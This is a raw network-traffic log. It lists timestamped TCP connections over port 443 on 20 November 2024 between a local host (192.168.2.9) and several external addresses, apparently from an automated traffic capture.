Nov 20, 2024 10:19:58.734004021 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.734081030 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.750447035 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.750471115 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.750499010 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.750504971 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.750701904 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.750727892 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.750741005 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.750747919 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.755812883 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.755850077 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.757322073 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.757374048 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.757419109 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.757436037 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.758939981 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.758956909 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.758980989 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.758991957 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.872515917 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.872575045 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.872653008 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.876735926 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.876858950 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.876950979 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.877649069 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.877686024 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.877868891 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.879295111 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.879339933 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.879653931 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.879707098 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.879764080 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.879908085 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.879920959 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.880459070 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.880501986 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.880933046 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.880954981 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.881681919 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.881697893 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.881867886 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.881994963 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.882004023 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.474524021 CET	49676	443	192.168.2.9	23.206.229.209
Nov 20, 2024 10:19:59.474535942 CET	49675	443	192.168.2.9	23.206.229.209
Nov 20, 2024 10:19:59.562500000 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.563210964 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.563231945 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.563349009 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.563584089 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.563612938 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.563817024 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.563831091 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.564178944 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.564249992 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.564254999 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.564488888 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.564573050 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.564876080 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.564882994 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.569308996 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.569626093 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.569705009 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.569957972 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.569977999 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.571234941 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.571616888 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.571644068 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.571995020 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.572000980 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676181078 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676189899 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676192045 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676251888 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676254988 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676290989 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676333904 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676337957 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676357031 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676785946 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676800966 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676810980 CET	49734	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676815987 CET	443	49734	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.676826954 CET	49730	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.676841974 CET	443	49730	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.677982092 CET	49733	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.678005934 CET	443	49733	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.680977106 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.680989981 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.681027889 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.681050062 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.681097984 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681183100 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681556940 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681593895 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.681660891 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681854963 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681854963 CET	49732	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.681869030 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.681878090 CET	443	49732	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.682920933 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.682948112 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683005095 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683168888 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683235884 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683350086 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683568001 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683597088 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683749914 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683751106 CET	49731	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683789015 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683814049 CET	443	49731	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.683936119 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.683952093 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.684462070 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.684474945 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.685862064 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.685894012 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.686132908 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.686237097 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.686252117 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.686264992 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.686266899 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.686328888 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.686458111 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:59.686471939 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:59.787575006 CET	49674	443	192.168.2.9	23.206.229.209
Nov 20, 2024 10:20:00.415869951 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.415926933 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:00.416052103 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.416084051 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.416145086 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:00.416223049 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.416376114 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.416382074 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:00.416564941 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:00.416580915 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:00.454457998 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.454994917 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.455027103 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.455410004 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.455413103 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.455420017 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.455687046 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.455717087 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.455987930 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.456021070 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.456027031 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.456264973 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.456294060 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.456737995 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.456752062 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.464067936 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.464447975 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.464479923 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.464955091 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.464960098 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.476690054 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.477044106 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.477072001 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.477571964 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.477581978 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.560882092 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.560965061 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.561028957 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.561182022 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.561182022 CET	49739	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.561208963 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.561222076 CET	443	49739	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.562891006 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.562956095 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.563170910 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.563298941 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.563334942 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.563357115 CET	49740	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.563364983 CET	443	49740	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564018965 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564048052 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564162016 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564337969 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564430952 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564433098 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564455032 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564502954 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564588070 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564604044 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.564615011 CET	49741	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.564620018 CET	443	49741	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.565943956 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.565980911 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.566090107 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.566396952 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.566416025 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.566771984 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.566809893 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.566915989 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.567054033 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.567070007 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.580740929 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.580802917 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.580845118 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.581037998 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.581054926 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.581079960 CET	49738	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.581084967 CET	443	49738	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.583472967 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.583507061 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.583570957 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.583719969 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.583731890 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.594816923 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.594899893 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.594969034 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.595067024 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.595067024 CET	49737	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.595093012 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.595113039 CET	443	49737	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.597527027 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.597570896 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:00.597735882 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.597903967 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:00.597918987 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.081285000 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.082556963 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.082586050 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.083575010 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.083659887 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.085789919 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.085870028 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.086538076 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.090332985 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.094866037 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.094893932 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.097203970 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.097642899 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.097642899 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.097757101 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.127346992 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.128823996 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.128839970 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.150379896 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.150407076 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.182545900 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.201015949 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.218136072 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.218967915 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.219022036 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.219429016 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.219436884 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.230802059 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.232886076 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.232937098 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.233555079 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.233566046 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.242192030 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.242885113 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.242929935 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.243604898 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.243618011 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.254045010 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.254523993 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.254563093 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.255223989 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.255235910 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.255970955 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.263528109 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.263572931 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.264678955 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.264693022 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.332180023 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.332268953 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.332617044 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.332817078 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.332817078 CET	49744	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.332844973 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.332864046 CET	443	49744	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.335845947 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.335901976 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.336179018 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.336322069 CET	49749	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.336330891 CET	443	49749	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.338581085 CET	443	49704	23.206.229.209	192.168.2.9
Nov 20, 2024 10:20:01.342581034 CET	49704	443	192.168.2.9	23.206.229.209
Nov 20, 2024 10:20:01.347697020 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.347771883 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.347848892 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.348177910 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.348177910 CET	49747	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.348201990 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.348212957 CET	443	49747	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.363580942 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.363675117 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.363867998 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.363920927 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.363924980 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.363924980 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.363959074 CET	49745	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.363974094 CET	443	49745	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.364064932 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.364346981 CET	49750	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.364370108 CET	443	49750	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.364547968 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.364633083 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.364800930 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.364800930 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.365077019 CET	49748	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.365092039 CET	443	49748	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.369656086 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.369700909 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.369806051 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.369992018 CET	49751	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.370002031 CET	443	49751	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.370225906 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.370312929 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.370585918 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.370718002 CET	49752	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.370754957 CET	443	49752	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.371964931 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.373368979 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.373652935 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.374447107 CET	49743	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.374460936 CET	443	49743	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.376456022 CET	49742	443	192.168.2.9	142.250.186.131
Nov 20, 2024 10:20:01.416349888 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.416428089 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.416608095 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.417360067 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.417360067 CET	49746	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.417408943 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.417437077 CET	443	49746	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.419328928 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.426572084 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.426647902 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.426742077 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.430560112 CET	49755	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:01.430594921 CET	443	49755	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:01.687834024 CET	443	49742	142.250.186.131	192.168.2.9
Nov 20, 2024 10:20:01.688412905 CET	443	49742	142.250.186.131	192.168.2.9
